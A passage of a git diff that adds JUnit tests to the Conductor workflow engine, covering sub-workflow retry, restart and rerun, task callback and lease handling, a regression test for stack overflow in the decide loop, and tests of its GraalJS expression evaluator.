WorkflowDef(); + workflowDef.setName("parentworkflow"); + workflowDef.setVersion(1); + workflow.setWorkflowDefinition(workflowDef); + workflow.setOwnerApp("junit_testRerunWorkflowId"); + workflow.setStatus(WorkflowModel.Status.COMPLETED); + workflow.getTasks().addAll(Arrays.asList(task)); + // end of setup + + // when: + when(executionDAOFacade.getWorkflowModel(workflow.getWorkflowId(), true)) + .thenReturn(workflow); + when(executionDAOFacade.getWorkflowModel(task.getSubWorkflowId(), true)) + .thenReturn(subWorkflow); + when(executionDAOFacade.getTaskModel(subWorkflow.getParentWorkflowTaskId())) + .thenReturn(task); + when(executionDAOFacade.getWorkflowModel(subWorkflow.getParentWorkflowId(), false)) + .thenReturn(workflow); + + RerunWorkflowRequest rerunWorkflowRequest = new RerunWorkflowRequest(); + rerunWorkflowRequest.setReRunFromWorkflowId(subWorkflow.getWorkflowId()); + workflowExecutor.rerun(rerunWorkflowRequest); + + // then: parent workflow remains the same + assertEquals(WorkflowModel.Status.FAILED, subWorkflow.getPreviousStatus()); + assertEquals(WorkflowModel.Status.RUNNING, subWorkflow.getStatus()); + assertEquals(TaskModel.Status.COMPLETED_WITH_ERRORS, task.getStatus()); + assertEquals(WorkflowModel.Status.COMPLETED, workflow.getStatus()); + } + + @Test + public void testRestartOptionalSubWorkflow() { + IDGenerator idGenerator = new IDGenerator(); + // setup + String parentWorkflowId = idGenerator.generate(); + String subWorkflowId = idGenerator.generate(); + + // sub workflow setup + TaskModel task1 = new TaskModel(); + task1.setTaskType(TaskType.SIMPLE.name()); + task1.setTaskDefName("task1"); + task1.setReferenceTaskName("task1_ref"); + task1.setWorkflowInstanceId(subWorkflowId); + task1.setScheduledTime(System.currentTimeMillis()); + task1.setTaskId(idGenerator.generate()); + task1.setStatus(TaskModel.Status.COMPLETED); + task1.setWorkflowTask(new WorkflowTask()); + task1.setOutputData(new HashMap<>()); + + TaskModel task2 = new TaskModel(); + task2.setTaskType(TaskType.SIMPLE.name()); + task2.setTaskDefName("task2"); + task2.setReferenceTaskName("task2_ref"); + task2.setWorkflowInstanceId(subWorkflowId); + task2.setScheduledTime(System.currentTimeMillis()); + task2.setTaskId(idGenerator.generate()); + task2.setStatus(TaskModel.Status.FAILED); + task2.setWorkflowTask(new WorkflowTask()); + task2.setOutputData(new HashMap<>()); + + WorkflowModel subWorkflow = new WorkflowModel(); + subWorkflow.setParentWorkflowId(parentWorkflowId); + subWorkflow.setWorkflowId(subWorkflowId); + WorkflowDef subworkflowDef = new WorkflowDef(); + subworkflowDef.setName("subworkflow"); + subworkflowDef.setVersion(1); + subWorkflow.setWorkflowDefinition(subworkflowDef); + subWorkflow.setOwnerApp("junit_testRerunWorkflowId"); + subWorkflow.setStatus(WorkflowModel.Status.FAILED); + subWorkflow.getTasks().addAll(Arrays.asList(task1, task2)); + + // parent workflow setup + TaskModel task = new TaskModel(); + task.setWorkflowInstanceId(parentWorkflowId); + task.setScheduledTime(System.currentTimeMillis()); + task.setTaskId(idGenerator.generate()); + task.setStatus(TaskModel.Status.COMPLETED_WITH_ERRORS); + task.setOutputData(new HashMap<>()); + task.setSubWorkflowId(subWorkflowId); + task.setTaskType(TaskType.SUB_WORKFLOW.name()); + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setOptional(true); + task.setWorkflowTask(workflowTask); + + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowId(parentWorkflowId); + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("parentworkflow"); + workflowDef.setVersion(1); + workflow.setWorkflowDefinition(workflowDef); + workflow.setOwnerApp("junit_testRerunWorkflowId"); + workflow.setStatus(WorkflowModel.Status.COMPLETED); + workflow.getTasks().addAll(Arrays.asList(task)); + // end of setup + + // when: + when(executionDAOFacade.getWorkflowModel(workflow.getWorkflowId(), true)) + .thenReturn(workflow); + when(executionDAOFacade.getWorkflowModel(task.getSubWorkflowId(), true)) + .thenReturn(subWorkflow); + when(executionDAOFacade.getTaskModel(subWorkflow.getParentWorkflowTaskId())) + .thenReturn(task); + when(executionDAOFacade.getWorkflowModel(subWorkflow.getParentWorkflowId(), false)) + .thenReturn(workflow); + + workflowExecutor.restart(subWorkflowId, false); + + // then: parent workflow remains the same + assertEquals(WorkflowModel.Status.FAILED, subWorkflow.getPreviousStatus()); + assertEquals(WorkflowModel.Status.RUNNING, subWorkflow.getStatus()); + assertEquals(TaskModel.Status.COMPLETED_WITH_ERRORS, task.getStatus()); + assertEquals(WorkflowModel.Status.COMPLETED, workflow.getStatus()); + } + + @Test + public void testRetryOptionalSubWorkflow() { + IDGenerator idGenerator = new IDGenerator(); + // setup + String parentWorkflowId = idGenerator.generate(); + String subWorkflowId = idGenerator.generate(); + + // sub workflow setup + TaskModel task1 = new TaskModel(); + task1.setTaskType(TaskType.SIMPLE.name()); + task1.setTaskDefName("task1"); + task1.setReferenceTaskName("task1_ref"); + task1.setWorkflowInstanceId(subWorkflowId); + task1.setScheduledTime(System.currentTimeMillis()); + task1.setTaskId(idGenerator.generate()); + task1.setStatus(TaskModel.Status.COMPLETED); + task1.setWorkflowTask(new WorkflowTask()); + task1.setOutputData(new HashMap<>()); + + TaskModel task2 = new TaskModel(); + task2.setTaskType(TaskType.SIMPLE.name()); + task2.setTaskDefName("task2"); + task2.setReferenceTaskName("task2_ref"); + task2.setWorkflowInstanceId(subWorkflowId); + task2.setScheduledTime(System.currentTimeMillis()); + task2.setTaskId(idGenerator.generate()); + task2.setStatus(TaskModel.Status.FAILED); + task2.setWorkflowTask(new WorkflowTask()); + task2.setOutputData(new HashMap<>()); + + WorkflowModel subWorkflow = new WorkflowModel(); + subWorkflow.setParentWorkflowId(parentWorkflowId); + subWorkflow.setWorkflowId(subWorkflowId); + WorkflowDef subworkflowDef = new WorkflowDef(); + subworkflowDef.setName("subworkflow"); + subworkflowDef.setVersion(1); + subWorkflow.setWorkflowDefinition(subworkflowDef); + subWorkflow.setOwnerApp("junit_testRerunWorkflowId"); + subWorkflow.setStatus(WorkflowModel.Status.FAILED); + subWorkflow.getTasks().addAll(Arrays.asList(task1, task2)); + + // parent workflow setup + TaskModel task = new TaskModel(); + task.setWorkflowInstanceId(parentWorkflowId); + task.setScheduledTime(System.currentTimeMillis()); + task.setTaskId(idGenerator.generate()); + task.setStatus(TaskModel.Status.COMPLETED_WITH_ERRORS); + task.setOutputData(new HashMap<>()); + task.setSubWorkflowId(subWorkflowId); + task.setTaskType(TaskType.SUB_WORKFLOW.name()); + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setOptional(true); + task.setWorkflowTask(workflowTask); + + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowId(parentWorkflowId); + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("parentworkflow"); + workflowDef.setVersion(1); + workflow.setWorkflowDefinition(workflowDef); + workflow.setOwnerApp("junit_testRerunWorkflowId"); + workflow.setStatus(WorkflowModel.Status.COMPLETED); + workflow.getTasks().addAll(Arrays.asList(task)); + // end of setup + + // when: + when(executionDAOFacade.getWorkflowModel(workflow.getWorkflowId(), true)) + .thenReturn(workflow); + when(executionDAOFacade.getWorkflowModel(task.getSubWorkflowId(), true)) + .thenReturn(subWorkflow); + when(executionDAOFacade.getTaskModel(subWorkflow.getParentWorkflowTaskId())) + .thenReturn(task); + when(executionDAOFacade.getWorkflowModel(subWorkflow.getParentWorkflowId(), false)) + .thenReturn(workflow); + + workflowExecutor.retry(subWorkflowId, true); + + // then: parent workflow remains the same + assertEquals(WorkflowModel.Status.FAILED, subWorkflow.getPreviousStatus()); + assertEquals(WorkflowModel.Status.RUNNING, subWorkflow.getStatus()); + assertEquals(TaskModel.Status.COMPLETED_WITH_ERRORS, task.getStatus()); + assertEquals(WorkflowModel.Status.COMPLETED, workflow.getStatus()); + } + + @Test + public void testUpdateTaskWithCallbackAfterSeconds() { + String workflowId = "test-workflow-id"; + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowId(workflowId); + workflow.setStatus(WorkflowModel.Status.RUNNING); + workflow.setWorkflowDefinition(new WorkflowDef()); + + TaskModel simpleTask = new TaskModel(); + simpleTask.setTaskType(TaskType.SIMPLE.name()); + simpleTask.setReferenceTaskName("simpleTask"); + simpleTask.setWorkflowInstanceId(workflowId); + simpleTask.setScheduledTime(System.currentTimeMillis()); + simpleTask.setCallbackAfterSeconds(0); + simpleTask.setTaskId("simple-task-id"); + simpleTask.setStatus(TaskModel.Status.IN_PROGRESS); + + workflow.getTasks().add(simpleTask); + when(executionDAOFacade.getWorkflowModel(workflowId, false)).thenReturn(workflow); + when(executionDAOFacade.getTaskModel(simpleTask.getTaskId())).thenReturn(simpleTask); + + TaskResult taskResult = new TaskResult(); + taskResult.setWorkflowInstanceId(workflowId); + taskResult.setTaskId(simpleTask.getTaskId()); + taskResult.setWorkerId("test-worker-id"); + taskResult.log("not ready yet"); + taskResult.setCallbackAfterSeconds(300); + taskResult.setStatus(TaskResult.Status.IN_PROGRESS); + + workflowExecutor.updateTask(taskResult); + verify(queueDAO, times(1)).postpone(anyString(), anyString(), anyInt(), anyLong()); + ArgumentCaptor argumentCaptor = ArgumentCaptor.forClass(TaskModel.class); + verify(executionDAOFacade, times(1)).updateTask(argumentCaptor.capture()); + assertEquals(TaskModel.Status.SCHEDULED, argumentCaptor.getAllValues().get(0).getStatus()); + assertEquals( + taskResult.getCallbackAfterSeconds(), + argumentCaptor.getAllValues().get(0).getCallbackAfterSeconds()); + assertEquals(taskResult.getWorkerId(), argumentCaptor.getAllValues().get(0).getWorkerId()); + } + + @Test + public void testUpdateTaskWithOutCallbackAfterSeconds() { + String workflowId = "test-workflow-id"; + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowId(workflowId); + workflow.setStatus(WorkflowModel.Status.RUNNING); + workflow.setWorkflowDefinition(new WorkflowDef()); + + TaskModel simpleTask = new TaskModel(); + simpleTask.setTaskType(TaskType.SIMPLE.name()); + simpleTask.setReferenceTaskName("simpleTask"); + simpleTask.setWorkflowInstanceId(workflowId); + simpleTask.setScheduledTime(System.currentTimeMillis()); + simpleTask.setCallbackAfterSeconds(0); + simpleTask.setTaskId("simple-task-id"); + simpleTask.setStatus(TaskModel.Status.IN_PROGRESS); + + workflow.getTasks().add(simpleTask); + when(executionDAOFacade.getWorkflowModel(workflowId, false)).thenReturn(workflow); + when(executionDAOFacade.getTaskModel(simpleTask.getTaskId())).thenReturn(simpleTask); + + TaskResult taskResult = new TaskResult(); + taskResult.setWorkflowInstanceId(workflowId); + taskResult.setTaskId(simpleTask.getTaskId()); + taskResult.setWorkerId("test-worker-id"); + taskResult.log("not ready yet"); + taskResult.setStatus(TaskResult.Status.IN_PROGRESS); + + workflowExecutor.updateTask(taskResult); + verify(queueDAO, times(1)).postpone(anyString(), anyString(), anyInt(), anyLong()); + ArgumentCaptor argumentCaptor = ArgumentCaptor.forClass(TaskModel.class); + verify(executionDAOFacade, times(1)).updateTask(argumentCaptor.capture()); + assertEquals(TaskModel.Status.SCHEDULED, argumentCaptor.getAllValues().get(0).getStatus()); + assertEquals(0, argumentCaptor.getAllValues().get(0).getCallbackAfterSeconds()); + assertEquals(taskResult.getWorkerId(), argumentCaptor.getAllValues().get(0).getWorkerId()); + } + + @Test + public void testIsLazyEvaluateWorkflow() { + // setup + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("lazyEvaluate"); + workflowDef.setVersion(1); + + WorkflowTask simpleTask = new WorkflowTask(); + simpleTask.setType(SIMPLE.name()); + simpleTask.setName("simple"); + simpleTask.setTaskReferenceName("simple"); + + WorkflowTask forkTask = new WorkflowTask(); + forkTask.setType(FORK_JOIN.name()); + forkTask.setName("fork"); + forkTask.setTaskReferenceName("fork"); + + WorkflowTask branchTask1 = new WorkflowTask(); + branchTask1.setType(SIMPLE.name()); + branchTask1.setName("branchTask1"); + branchTask1.setTaskReferenceName("branchTask1"); + + WorkflowTask branchTask2 = new WorkflowTask(); + branchTask2.setType(SIMPLE.name()); + branchTask2.setName("branchTask2"); + branchTask2.setTaskReferenceName("branchTask2"); + + forkTask.getForkTasks().add(Arrays.asList(branchTask1, branchTask2)); + + WorkflowTask joinTask = new WorkflowTask(); + joinTask.setType(JOIN.name()); + joinTask.setName("join"); + joinTask.setTaskReferenceName("join"); + joinTask.setJoinOn(List.of("branchTask2")); + + WorkflowTask doWhile = new WorkflowTask(); + doWhile.setType(DO_WHILE.name()); + doWhile.setName("doWhile"); + doWhile.setTaskReferenceName("doWhile"); + + WorkflowTask loopTask = new WorkflowTask(); + loopTask.setType(SIMPLE.name()); + loopTask.setName("loopTask"); + loopTask.setTaskReferenceName("loopTask"); + + doWhile.setLoopOver(List.of(loopTask)); + + workflowDef.getTasks().addAll(List.of(simpleTask, forkTask, joinTask, doWhile)); + + TaskModel task = new TaskModel(); + task.setStatus(TaskModel.Status.COMPLETED); + + // when: + // Dynamic tasks (not in static def, e.g. FORK_JOIN_DYNAMIC forked tasks) now always + // trigger decide to avoid workflow stalls caused by the sweeper's 30+ second delay. + task.setReferenceTaskName("dynamic"); + assertFalse(workflowExecutor.isLazyEvaluateWorkflow(workflowDef, task)); + + task.setReferenceTaskName("branchTask1"); + assertFalse(workflowExecutor.isLazyEvaluateWorkflow(workflowDef, task)); + + task.setReferenceTaskName("branchTask2"); + assertTrue(workflowExecutor.isLazyEvaluateWorkflow(workflowDef, task)); + + task.setReferenceTaskName("simple"); + assertFalse(workflowExecutor.isLazyEvaluateWorkflow(workflowDef, task)); + + task.setReferenceTaskName("loopTask__1"); + task.setIteration(1); + assertFalse(workflowExecutor.isLazyEvaluateWorkflow(workflowDef, task)); + + task.setReferenceTaskName("branchTask1"); + task.setStatus(TaskModel.Status.FAILED); + assertFalse(workflowExecutor.isLazyEvaluateWorkflow(workflowDef, task)); + } + + @Test + public void testTaskExtendLease() { + TaskModel simpleTask = new TaskModel(); + simpleTask.setTaskType(TaskType.SIMPLE.name()); + simpleTask.setReferenceTaskName("simpleTask"); + simpleTask.setWorkflowInstanceId("test-workflow-id"); + simpleTask.setScheduledTime(System.currentTimeMillis()); + simpleTask.setCallbackAfterSeconds(0); + simpleTask.setTaskId("simple-task-id"); + simpleTask.setStatus(TaskModel.Status.IN_PROGRESS); + when(executionDAOFacade.getTaskModel(simpleTask.getTaskId())).thenReturn(simpleTask); + + TaskResult taskResult = new TaskResult(); + taskResult.setWorkflowInstanceId(simpleTask.getWorkflowInstanceId()); + taskResult.setTaskId(simpleTask.getTaskId()); + taskResult.log("extend lease"); + taskResult.setExtendLease(true); + + workflowExecutor.updateTask(taskResult); + verify(executionDAOFacade, times(1)).extendLease(simpleTask); + verify(queueDAO, times(0)).postpone(anyString(), anyString(), anyInt(), anyLong()); + verify(executionDAOFacade, times(0)).updateTask(any()); + } + + private WorkflowModel generateSampleWorkflow() { + // setup + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowId("testRetryWorkflowId"); + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("testRetryWorkflowId"); + workflowDef.setVersion(1); + workflow.setWorkflowDefinition(workflowDef); + workflow.setOwnerApp("junit_testRetryWorkflowId"); + workflow.setCreateTime(10L); + workflow.setEndTime(100L); + // noinspection unchecked + workflow.setOutput(Collections.EMPTY_MAP); + workflow.setStatus(WorkflowModel.Status.FAILED); + + return workflow; + } + + private List generateSampleTasks(int count) { + if (count == 0) { + return null; + } + List tasks = new ArrayList<>(); + for (int i = 0; i < count; i++) { + TaskModel task = new TaskModel(); + task.setTaskId(UUID.randomUUID().toString()); + task.setSeq(i); + task.setRetryCount(1); + task.setTaskType("task" + (i + 1)); + task.setStatus(TaskModel.Status.COMPLETED); + task.setTaskDefName("taskX"); + task.setReferenceTaskName("task_ref" + (i + 1)); + tasks.add(task); + } + + return tasks; + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/execution/TestWorkflowExecutorDecideLoop.java b/core/src/test/java/com/netflix/conductor/core/execution/TestWorkflowExecutorDecideLoop.java new file mode 100644 index 0000000..818b6a9 --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/execution/TestWorkflowExecutorDecideLoop.java @@ -0,0 +1,239 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution; + +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.time.Duration; +import java.util.Collections; +import java.util.LinkedList; +import java.util.Optional; +import java.util.concurrent.atomic.AtomicInteger; + +import org.junit.Before; +import org.junit.Test; + +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.core.dal.ExecutionDAOFacade; +import com.netflix.conductor.core.execution.tasks.SystemTaskRegistry; +import com.netflix.conductor.core.execution.tasks.WorkflowSystemTask; +import com.netflix.conductor.core.listener.TaskStatusListener; +import com.netflix.conductor.core.listener.WorkflowStatusListener; +import com.netflix.conductor.core.metadata.MetadataMapperService; +import com.netflix.conductor.core.utils.IDGenerator; +import com.netflix.conductor.core.utils.ParametersUtils; +import com.netflix.conductor.dao.MetadataDAO; +import com.netflix.conductor.dao.QueueDAO; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; +import com.netflix.conductor.service.ExecutionLockService; + +import static com.netflix.conductor.core.utils.Utils.DECIDER_QUEUE; + +import static org.junit.Assert.*; +import static org.mockito.ArgumentMatchers.*; +import static org.mockito.Mockito.*; + +/** + * Focused unit tests for the decide() iterative loop in WorkflowExecutorOps. + * + *

    These tests use a mocked DeciderService so that the loop behaviour (continueLoop flag, + * time-guard re-queue) can be exercised independently of the full workflow state machine. + */ +public class TestWorkflowExecutorDecideLoop { + + private static final String SYNC_TASK_TYPE = "SYNC_TASK"; + + private WorkflowExecutorOps workflowExecutor; + private DeciderService deciderService; + private ExecutionDAOFacade executionDAOFacade; + private QueueDAO queueDAO; + private ConductorProperties properties; + private ExecutionLockService executionLockService; + private SystemTaskRegistry systemTaskRegistry; + private WorkflowSystemTask mockSyncTask; + + @Before + public void setUp() { + deciderService = mock(DeciderService.class); + executionDAOFacade = mock(ExecutionDAOFacade.class); + queueDAO = mock(QueueDAO.class); + properties = mock(ConductorProperties.class); + executionLockService = mock(ExecutionLockService.class); + systemTaskRegistry = mock(SystemTaskRegistry.class); + mockSyncTask = mock(WorkflowSystemTask.class); + + when(properties.getActiveWorkerLastPollTimeout()).thenReturn(Duration.ofSeconds(100)); + when(properties.getTaskExecutionPostponeDuration()).thenReturn(Duration.ofSeconds(60)); + when(properties.getWorkflowOffsetTimeout()).thenReturn(Duration.ofSeconds(30)); + when(properties.getLockLeaseTime()).thenReturn(Duration.ofSeconds(30)); + when(executionLockService.acquireLock(anyString())).thenReturn(true); + + // Set up a synchronous system task so that scheduleTask() sets stateChanged = true. + when(systemTaskRegistry.isSystemTask(SYNC_TASK_TYPE)).thenReturn(true); + when(systemTaskRegistry.get(SYNC_TASK_TYPE)).thenReturn(mockSyncTask); + when(mockSyncTask.isAsync()).thenReturn(false); + // start() leaves the task in SCHEDULED (non-terminal) so execute() is also called. + when(mockSyncTask.execute(any(), any(), any())).thenReturn(true); + + workflowExecutor = + new WorkflowExecutorOps( + deciderService, + mock(MetadataDAO.class), + queueDAO, + mock(MetadataMapperService.class), + mock(WorkflowStatusListener.class), + mock(TaskStatusListener.class), + executionDAOFacade, + properties, + executionLockService, + systemTaskRegistry, + mock(ParametersUtils.class), + mock(IDGenerator.class), + Optional.empty()); + } + + /** + * Regression test for GitHub issue #799. + * + *

    Verify that when the decider repeatedly schedules synchronous system tasks (simulating the + * behaviour of LAMBDA or INLINE tasks inside a high-iteration DO_WHILE), the decide() loop + * terminates cleanly without a StackOverflowError. + * + *

    Before the fix, each state-change triggered a recursive decide() call; at a few hundred + * iterations this blew the stack. + */ + @Test + public void testDecideLoopManyIterationsNoStackOverflow() throws Exception { + int totalIterations = 500; + AtomicInteger callCount = new AtomicInteger(0); + + WorkflowModel workflow = runningWorkflow("test-wf-overflow"); + when(executionDAOFacade.getWorkflowModel(workflow.getWorkflowId(), true)) + .thenReturn(workflow); + + // Decider schedules one new synchronous system task per call for the first N calls, then + // signals completion. Each task has a unique reference name to avoid dedup. + when(deciderService.decide(any(WorkflowModel.class))) + .thenAnswer( + inv -> { + int n = callCount.incrementAndGet(); + if (n > totalIterations) { + return completeOutcome(); + } + return schedulingOutcome("task-" + n, "task-ref-" + n); + }); + + // Act — must not throw StackOverflowError + WorkflowModel result = workflowExecutor.decide(workflow.getWorkflowId()); + + // Assert + assertNotNull(result); + assertTrue( + "Decider should have been called at least " + totalIterations + " times", + callCount.get() >= totalIterations); + } + + /** + * Verify that when the decide loop is still changing state but the lock lease is about to + * expire, it persists the current workflow state and pushes the workflow ID back onto the + * decider queue rather than continuing to hold the lock. + */ + @Test + public void testDecideLoopRequeuesWhenApproachingLockLeaseTime() throws Exception { + // Extremely short lease so the time guard fires immediately (maxRuntime = 1 - 100 = -99ms, + // so decideWatch.getTime() >= maxRuntime on the very first iteration). + when(properties.getLockLeaseTime()).thenReturn(Duration.ofMillis(1)); + + WorkflowModel workflow = runningWorkflow("test-wf-timeout"); + when(executionDAOFacade.getWorkflowModel(workflow.getWorkflowId(), true)) + .thenReturn(workflow); + + AtomicInteger callCount = new AtomicInteger(0); + // Decider always returns a new synchronous task (state keeps changing), simulating a loop + // that would otherwise hold the lock indefinitely. + when(deciderService.decide(any(WorkflowModel.class))) + .thenAnswer( + inv -> { + int n = callCount.incrementAndGet(); + return schedulingOutcome("task-" + n, "task-ref-" + n); + }); + + // Act + workflowExecutor.decide(workflow.getWorkflowId()); + + // Assert: workflow is persisted and re-queued before the lock expires. + verify(executionDAOFacade, atLeastOnce()).updateWorkflow(workflow); + verify(queueDAO, atLeastOnce()) + .push(eq(DECIDER_QUEUE), eq(workflow.getWorkflowId()), eq(0L)); + } + + // ── helpers ────────────────────────────────────────────────────────────── + + private static WorkflowModel runningWorkflow(String id) { + WorkflowModel wf = new WorkflowModel(); + wf.setWorkflowId(id); + wf.setStatus(WorkflowModel.Status.RUNNING); + wf.setCreateTime(System.currentTimeMillis()); + WorkflowDef def = new WorkflowDef(); + def.setName(id); + def.setVersion(1); + wf.setWorkflowDefinition(def); + wf.setOutput(Collections.emptyMap()); + return wf; + } + + /** Creates a DeciderOutcome that signals workflow completion (isComplete = true). */ + private static DeciderService.DeciderOutcome completeOutcome() throws Exception { + DeciderService.DeciderOutcome outcome = newOutcome(); + setField(outcome, "isComplete", true); + return outcome; + } + + /** + * Creates a DeciderOutcome that schedules one synchronous system task. scheduleTask() will + * detect it as a system task, call start(), set startedSystemTasks = true, and return true — + * which sets stateChanged = true in the decide loop, causing another iteration. + */ + private static DeciderService.DeciderOutcome schedulingOutcome(String taskId, String refName) + throws Exception { + DeciderService.DeciderOutcome outcome = newOutcome(); + TaskModel task = new TaskModel(); + task.setTaskId(taskId); + task.setReferenceTaskName(refName); + task.setStatus(TaskModel.Status.SCHEDULED); + task.setTaskType(SYNC_TASK_TYPE); + ((LinkedList) getField(outcome, "tasksToBeScheduled")).add(task); + return outcome; + } + + private static DeciderService.DeciderOutcome newOutcome() throws Exception { + Constructor ctor = + DeciderService.DeciderOutcome.class.getDeclaredConstructor(); + ctor.setAccessible(true); + return ctor.newInstance(); + } + + private static void setField(Object obj, String name, Object value) throws Exception { + Field f = obj.getClass().getDeclaredField(name); + f.setAccessible(true); + f.set(obj, value); + } + + private static Object getField(Object obj, String name) throws Exception { + Field f = obj.getClass().getDeclaredField(name); + f.setAccessible(true); + return f.get(obj); + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/execution/WorkflowSystemTaskStub.java b/core/src/test/java/com/netflix/conductor/core/execution/WorkflowSystemTaskStub.java new file mode 100644 index 0000000..2f4be6c --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/execution/WorkflowSystemTaskStub.java @@ -0,0 +1,37 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution; + +import com.netflix.conductor.core.execution.tasks.WorkflowSystemTask; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +public class WorkflowSystemTaskStub extends WorkflowSystemTask { + + private boolean started = false; + + public WorkflowSystemTaskStub(String taskType) { + super(taskType); + } + + @Override + public void start(WorkflowModel workflow, TaskModel task, WorkflowExecutor executor) { + started = true; + task.setStatus(TaskModel.Status.COMPLETED); + super.start(workflow, task, executor); + } + + public boolean isStarted() { + return started; + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/execution/evaluators/GraalJSEvaluatorTest.java b/core/src/test/java/com/netflix/conductor/core/execution/evaluators/GraalJSEvaluatorTest.java new file mode 100644 index 0000000..4de020f --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/execution/evaluators/GraalJSEvaluatorTest.java @@ -0,0 +1,154 @@ +/* + * Copyright 2025 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.evaluators; + +import java.util.HashMap; +import java.util.Map; + +import org.junit.Test; + +import static org.junit.Assert.*; + +/** + * Test for GraalJSEvaluator - verifies it works identically to JavascriptEvaluator since they use + * the same underlying GraalJS engine. + */ +public class GraalJSEvaluatorTest { + + private final GraalJSEvaluator evaluator = new GraalJSEvaluator(); + + @Test + public void testBasicEvaluation() { + Map input = new HashMap<>(); + input.put("value", 42); + + String expression = "$.value * 2"; + Object result = evaluator.evaluate(expression, input); + + assertEquals(84, ((Number) result).intValue()); + } + + @Test + public void testES6Support() { + Map input = new HashMap<>(); + input.put("name", "GraalJS"); + + String expression = + """ + (function() { + const greeting = 'Hello'; + let engine = $.name; + return `${greeting}, ${engine}!`; + })() + """; + + Object result = evaluator.evaluate(expression, input); + assertEquals("Hello, GraalJS!", result); + } + + @Test + public void testDeepCopyProtection() { + // GraalJSEvaluator should have the same deep copy protection as JavascriptEvaluator + Map input = new HashMap<>(); + Map nested = new HashMap<>(); + nested.put("original", "value"); + input.put("data", nested); + + String expression = + """ + (function() { + $.data.modified = 'new value'; + return $.data.modified; + })() + """; + + Object result = evaluator.evaluate(expression, input); + assertEquals("new value", result); + + // Verify original input was NOT modified + assertFalse( + "Original input should not be modified due to deep copy", + nested.containsKey("modified")); + } + + @Test + public void testComplexObject() { + Map input = new HashMap<>(); + Map config = new HashMap<>(); + config.put("timeout", 4); + config.put("retries", 3); + input.put("config", config); + + String expression = "$.config.timeout * $.config.retries"; + Object result = evaluator.evaluate(expression, input); + + assertEquals(12, ((Number) result).intValue()); + } + + @Test + public void testArrayOperations() { + Map input = new HashMap<>(); + input.put("values", new int[] {10, 20, 30, 40, 50}); + + String expression = "$.values.reduce((sum, val) => sum + val, 0)"; + Object result = evaluator.evaluate(expression, input); + + assertEquals(150, ((Number) result).intValue()); + } + + @Test + public void testConditionalLogic() { + Map input = new HashMap<>(); + input.put("status", "COMPLETED"); + + String expression = + """ + (function() { + if ($.status === 'COMPLETED') { + return { success: true, message: 'Task completed' }; + } else { + return { success: false, message: 'Task pending' }; + } + })() + """; + + Object result = evaluator.evaluate(expression, input); + assertTrue(result instanceof Map); + + @SuppressWarnings("unchecked") + Map resultMap = (Map) result; + assertTrue((Boolean) resultMap.get("success")); + assertEquals("Task completed", resultMap.get("message")); + } + + @Test + public void testIdenticalToJavascriptEvaluator() { + // Verify GraalJSEvaluator produces identical results to JavascriptEvaluator + JavascriptEvaluator jsEval = new JavascriptEvaluator(); + GraalJSEvaluator graalEval = new GraalJSEvaluator(); + + Map input = new HashMap<>(); + input.put("a", 5); + input.put("b", 10); + + String expression = "$.a + $.b"; + + Object jsResult = jsEval.evaluate(expression, input); + Object graalResult = graalEval.evaluate(expression, input); + + assertEquals( + "Results should be identical", + ((Number) jsResult).intValue(), + ((Number) graalResult).intValue()); + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/execution/evaluators/JavascriptEvaluatorTest.java b/core/src/test/java/com/netflix/conductor/core/execution/evaluators/JavascriptEvaluatorTest.java new file mode 100644 index 0000000..5450f9a --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/execution/evaluators/JavascriptEvaluatorTest.java @@ -0,0 +1,161 @@ +/* + * Copyright 2025 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

